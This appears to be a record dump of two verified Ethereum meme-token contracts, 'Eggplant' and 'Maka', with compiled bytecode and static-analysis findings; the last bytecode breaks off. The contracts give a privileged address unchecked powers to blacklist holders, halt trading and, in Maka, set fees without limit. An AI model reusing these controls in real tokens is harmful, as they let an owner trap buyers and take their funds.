function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract Eggplant is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Eggplant";
string private constant _symbol = "EGGY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant totalTokens = 69 * 1e9 * 1e9;
uint256 public _maxWalletAmount = 200 * 1e7 * 1e9;
uint256 private _previousLiqFee = liqFee;
uint256 private _previousProjectFee = projectTax;
uint256 private liqFee;
uint256 private projectTax;
struct FeeBreakdown {
uint256 tLiquidity;
uint256 tMarketing;
uint256 tAmount;
}
mapping(address => bool) private bots;
address payable private eggyDeploy = payable(0x359090528a731bddDaff7702612347925dA08572);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private inSwap = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), totalTokens);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
_balances[_msgSender()] = totalTokens;
emit Transfer(address(0), _msgSender(), totalTokens);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return totalTokens;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() private {
if (projectTax == 0 && liqFee == 0) return;
_previousProjectFee = projectTax;
_previousLiqFee = liqFee;
projectTax = 0;
liqFee = 0;
}
function restoreAllFee() private {
liqFee = _previousLiqFee;
projectTax = _previousProjectFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = !inSwap;
if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
require(balanceOf(to).add(amount) <= _maxWalletAmount, "wallet balance after transfer must be less than max wallet amount");
require(!bots[from] && !bots[to]);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
require(!bots[from] && !bots[to]);
}
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee();
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
eggyDeploy,
block.timestamp
);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 autoLPamount = liqFee.mul(contractTokenBalance).div(projectTax.add(liqFee));
uint256 half = autoLPamount.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(otherHalf);
uint256 newBalance = ((address(this).balance.sub(initialBalance)).mul(half)).div(otherHalf);
addLiquidity(half, newBalance);
}
function removeFromBlacklist(address _address) external onlyOwner() {
require(_msgSender() == eggyDeploy);
bots[_address] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
FeeBreakdown memory fees;
fees.tMarketing = amount.mul(projectTax).div(100);
fees.tLiquidity = amount.mul(liqFee).div(100);
fees.tAmount = amount.sub(fees.tMarketing).sub(fees.tLiquidity);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(fees.tAmount);
_balances[address(this)] = _balances[address(this)].add(fees.tMarketing.add(fees.tLiquidity));
emit Transfer(sender, recipient, fees.tAmount);
}
receive() external payable {}
function blacklist(address[] memory bots_) external {
require(_msgSender() == eggyDeploy);
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function setMaxWalletAmount(uint256 maxWalletAmount) external {
require(_msgSender() == eggyDeploy);
require(maxWalletAmount > totalTokens.div(200), "Amount must be greater than 0.5% of supply");
require(maxWalletAmount <= totalTokens, "Amount must be less than or equal to totalSupply");
_maxWalletAmount = maxWalletAmount;
}
}
|
0x6080604052600436106101025760003560e01c8063537df3b6116100955780638da5cb5b116100645780638da5cb5b146102de57806395d89b41146102fc578063a9059cbb14610329578063dd62ed3e14610349578063f2fde38b1461038f57600080fd5b8063537df3b61461025d5780636c0a24eb1461027d57806370a0823114610293578063715018a6146102c957600080fd5b806323b872dd116100d157806323b872dd146101c957806327a14fc2146101e9578063313ce5671461020957806349bd5a5e1461022557600080fd5b8063041f173f1461010e57806306fdde0314610130578063095ea7b31461017357806318160ddd146101a357600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5061012e610129366004610fc0565b6103af565b005b34801561013c57600080fd5b506040805180820190915260088152671159d9dc1b185b9d60c21b60208201525b60405161016a9190611085565b60405180910390f35b34801561017f57600080fd5b5061019361018e3660046110da565b61043b565b604051901515815260200161016a565b3480156101af57600080fd5b506803bd913e6c1df400005b60405190815260200161016a565b3480156101d557600080fd5b506101936101e4366004611104565b610452565b3480156101f557600080fd5b5061012e610204366004611140565b6104bb565b34801561021557600080fd5b506040516009815260200161016a565b34801561023157600080fd5b50600b54610245906001600160a01b031681565b6040516001600160a01b03909116815260200161016a565b34801561026957600080fd5b5061012e610278366004611159565b6105cc565b34801561028957600080fd5b506101bb60035481565b34801561029f57600080fd5b506101bb6102ae366004611159565b6001600160a01b031660009081526001602052604090205490565b3480156102d557600080fd5b5061012e610637565b3480156102ea57600080fd5b506000546001600160a01b0316610245565b34801561030857600080fd5b506040805180820190915260048152634547475960e01b602082015261015d565b34801561033557600080fd5b506101936103443660046110da565b61066d565b34801561035557600080fd5b506101bb610364366004611174565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561039b57600080fd5b5061012e6103aa366004611159565b61067a565b6009546001600160a01b0316336001600160a01b0316146103cf57600080fd5b60005b8151811015610437576001600860008484815181106103f3576103f36111a7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061042f816111d3565b9150506103d2565b5050565b6000610448338484610715565b5060015b92915050565b600061045f848484610839565b6104b184336104ac85604051806060016040528060288152602001611294602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ba3565b610715565b5060019392505050565b6009546001600160a01b0316336001600160a01b0316146104db57600080fd5b6104ef6803bd913e6c1df4000060c8610bdd565b81116105555760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d7573742062652067726561746572207468616e20302e3525604482015269206f6620737570706c7960b01b60648201526084015b60405180910390fd5b6803bd913e6c1df400008111156105c75760405162461bcd60e51b815260206004820152603060248201527f416d6f756e74206d757374206265206c657373207468616e206f72206571756160448201526f6c20746f20746f74616c537570706c7960801b606482015260840161054c565b600355565b6000546001600160a01b031633146105f65760405162461bcd60e51b815260040161054c906111ee565b6009546001600160a01b0316336001600160a01b03161461061657600080fd5b6001600160a01b03166000908152600860205260409020805460ff19169055565b6000546001600160a01b031633146106615760405162461bcd60e51b815260040161054c906111ee565b61066b6000610c26565b565b6000610448338484610839565b6000546001600160a01b031633146106a45760405162461bcd60e51b815260040161054c906111ee565b6001600160a01b0381166107095760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161054c565b61071281610c26565b50565b6001600160a01b0383166107775760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054c565b6001600160a01b0382166107d85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054c565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661089d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054c565b6001600160a01b0382166108ff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054c565b600081116109615760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161054c565b600b5460ff600160a01b90910416156109826000546001600160a01b031690565b6001600160a01b0316846001600160a01b0316141580156109b157506000546001600160a01b03848116911614155b80156109c657506001600160a01b0384163014155b80156109db57506001600160a01b0383163014155b15610b8057600b546001600160a01b038581169116148015610a0b5750600a546001600160a01b03848116911614155b15610b0557600354610a3c83610a36866001600160a01b031660009081526001602052604090205490565b90610c76565b1115610aba5760405162461bcd60e51b815260206004820152604160248201527f77616c6c65742062616c616e6365206166746572207472616e73666572206d7560448201527f7374206265206c657373207468616e206d61782077616c6c657420616d6f756e6064820152601d60fa1b608482015260a40161054c565b6001600160a01b03841660009081526008602052604090205460ff16158015610afc57506001600160a01b03831660009081526008602052604090205460ff16155b610b0557600080fd5b600b546001600160a01b038481169116148015610b305750600a546001600160a01b03858116911614155b15610b80576001600160a01b03841660009081526008602052604090205460ff16158015610b7757506001600160a01b03831660009081526008602052604090205460ff16155b610b8057600080fd5b610b8c84848484610cd5565b610b9d600454600655600554600755565b50505050565b60008184841115610bc75760405162461bcd60e51b815260040161054c9190611085565b506000610bd48486611223565b95945050505050565b6000610c1f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ced565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600080610c83838561123a565b905083811015610c1f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161054c565b80610ce257610ce2610d1b565b610b8c848484610d49565b60008183610d0e5760405162461bcd60e51b815260040161054c9190611085565b506000610bd48486611252565b600754158015610d2b5750600654155b15610d3257565b600780546005556006805460045560009182905555565b610d6d60405180606001604052806000815260200160008152602001600081525090565b610d8d6064610d8760075485610ecd90919063ffffffff16565b90610bdd565b6020820152600654610da790606490610d87908590610ecd565b8082526020820151610dc59190610dbf908590610f4c565b90610f4c565b6040808301919091526001600160a01b038516600090815260016020522054610dee9083610f4c565b6001600160a01b03808616600090815260016020526040808220939093558383015191861681529190912054610e2391610c76565b6001600160a01b038416600090815260016020908152604090912091909155815190820151610e6c91610e569190610c76565b3060009081526001602052604090205490610c76565b30600090815260016020908152604091829020929092558281015190519081526001600160a01b0385811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600082610edc5750600061044c565b6000610ee88385611274565b905082610ef58583611252565b14610c1f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161054c565b6000610c1f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ba3565b634e487b7160e01b600052604160045260246000fd5b80356001600160a01b0381168114610fbb57600080fd5b919050565b60006020808385031215610fd357600080fd5b823567ffffffffffffffff80821115610feb57600080fd5b818501915085601f830112610fff57600080fd5b81358181111561101157611011610f8e565b8060051b604051601f19603f8301168101818110858211171561103657611036610f8e565b60405291825284820192508381018501918883111561105457600080fd5b938501935b828510156110795761106a85610fa4565b84529385019392850192611059565b98975050505050505050565b600060208083528351808285015260005b818110156110b257858101830151858201604001528201611096565b818111156110c4576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156110ed57600080fd5b6110f683610fa4565b946020939093013593505050565b60008060006060848603121561111957600080fd5b61112284610fa4565b925061113060208501610fa4565b9150604084013590509250925092565b60006020828403121561115257600080fd5b5035919050565b60006020828403121561116b57600080fd5b610c1f82610fa4565b6000806040838503121561118757600080fd5b61119083610fa4565b915061119e60208401610fa4565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156111e7576111e76111bd565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082821015611235576112356111bd565b500390565b6000821982111561124d5761124d6111bd565b500190565b60008261126f57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561128e5761128e6111bd565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122087ce3ffb69fabd1d63a1bccaef2f02436575132eb7d8bcc72c03fdd7c1b5451564736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,484 |
0x386c63Ce4919F1A3B3f4c23c5c2C10A542453B08
|
/**
*Submitted for verification at Etherscan.io on 2021-11-09
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-01
*/
// Telegram: https://t.me/HoloInu
// Website: https://HoloInu.rocks
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Maka is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Maka";
string private constant _symbol = "MAKA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _distroFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 9;
//Sell Fee
uint256 private _distroFeeOnSell = 1;
uint256 private _taxFeeOnSell = 14;
//Original Fee
uint256 private _distroFee = _distroFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousDistroFee = _distroFee;
uint256 private _previousTaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0x8e380a1a9B7a31Ea6E2B09bDA18beBa804f9a22e);
address payable private _devAddress = payable(0x847927604d59d0D6E07b75F4ba145AE90DD04458);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9; //0.5% of total supply per txn
uint256 public _maxWalletSize = 30000000 * 10**9; //3% of total supply
uint256 public _swapTokensAtAmount = 100000 * 10**9; //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_devAddress] = true;
bots[address(0x00000000000000000000000000000000001)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_distroFee == 0 && _taxFee == 0) return;
_previousDistroFee = _distroFee;
_previousTaxFee = _taxFee;
_distroFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_distroFee = _previousDistroFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen)
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_distroFee = _distroFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_distroFee = _distroFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount.div(3).mul(2));
_devAddress.transfer(amount.div(3));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _distroFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 distroFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(distroFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_distroFeeOnBuy = distroFeeOnBuy;
_distroFeeOnSell = distroFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
}
|
0x60806040526004361061019f5760003560e01c8063715018a6116100ec57806398a5c3151161008a578063bfd7928411610064578063bfd79284146104ac578063c3c8cd80146104dc578063dd62ed3e146104f1578063ea1644d51461053757600080fd5b806398a5c3151461044c578063a2a957bb1461046c578063a9059cbb1461048c57600080fd5b80638da5cb5b116100c65780638da5cb5b146103cb5780638f70ccf7146103e95780638f9a55c01461040957806395d89b411461041f57600080fd5b8063715018a61461038057806374010ece146103955780637d1db4a5146103b557600080fd5b80632fd689e3116101595780636b999053116101335780636b9990531461030b5780636d8aa8f81461032b5780636fc3eaec1461034b57806370a082311461036057600080fd5b80632fd689e3146102b9578063313ce567146102cf57806349bd5a5e146102eb57600080fd5b8062b8cf2a146101ab57806306fdde03146101cd578063095ea7b31461020c5780631694505e1461023c57806318160ddd1461027457806323b872dd1461029957600080fd5b366101a657005b600080fd5b3480156101b757600080fd5b506101cb6101c6366004611683565b610557565b005b3480156101d957600080fd5b506040805180820190915260048152634d616b6160e01b60208201525b6040516102039190611748565b60405180910390f35b34801561021857600080fd5b5061022c61022736600461179d565b6105f6565b6040519015158152602001610203565b34801561024857600080fd5b5060145461025c906001600160a01b031681565b6040516001600160a01b039091168152602001610203565b34801561028057600080fd5b50670de0b6b3a76400005b604051908152602001610203565b3480156102a557600080fd5b5061022c6102b43660046117c9565b61060d565b3480156102c557600080fd5b5061028b60185481565b3480156102db57600080fd5b5060405160098152602001610203565b3480156102f757600080fd5b5060155461025c906001600160a01b031681565b34801561031757600080fd5b506101cb61032636600461180a565b610676565b34801561033757600080fd5b506101cb610346366004611827565b6106c1565b34801561035757600080fd5b506101cb610709565b34801561036c57600080fd5b5061028b61037b36600461180a565b610736565b34801561038c57600080fd5b506101cb610758565b3480156103a157600080fd5b506101cb6103b0366004611849565b6107cc565b3480156103c157600080fd5b5061028b60165481565b3480156103d757600080fd5b506000546001600160a01b031661025c565b3480156103f557600080fd5b506101cb610404366004611827565b6107fb565b34801561041557600080fd5b5061028b60175481565b34801561042b57600080fd5b506040805180820190915260048152634d414b4160e01b60208201526101f6565b34801561045857600080